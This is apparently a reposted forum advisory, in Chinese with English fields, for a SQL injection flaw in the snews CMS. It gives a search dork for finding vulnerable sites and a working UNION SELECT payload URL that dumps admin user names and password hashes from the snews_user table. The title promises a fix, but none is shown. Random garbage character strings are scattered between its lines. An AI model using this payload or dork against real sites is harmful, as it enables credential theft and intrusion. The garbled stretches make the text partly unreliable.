CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
& x& M( V3 E1 t" X作者: By onestree
下载地址 : http://snewscms.com/
/ A+ m# f2 V* W8 [6 T测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"

; S0 m0 a! d1 e! `) Q! D
  Q- j. d0 i5 ?*************************************************************
+ U3 }3 R! \) ^7 ~1 j: x" Z
SQL poc:

http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]

示例
7 n+ p' Y* U6 d$ F
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*

+ O3 B  x* U  k
( s0 j* M# n, a" s- `致谢:
. d1 v0 q2 a/ x0 d6 T) w* F
  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
, S8 z1 L5 B1 H2 h, t) @0 u     
          indonesiancoder - moeslimh4x0r - go-coder
5 s/ A: q, I8 x: m
5 Z; V- F4 ?/ q" J0 n) \5 H5 f2 y$ \spesial my hunny :*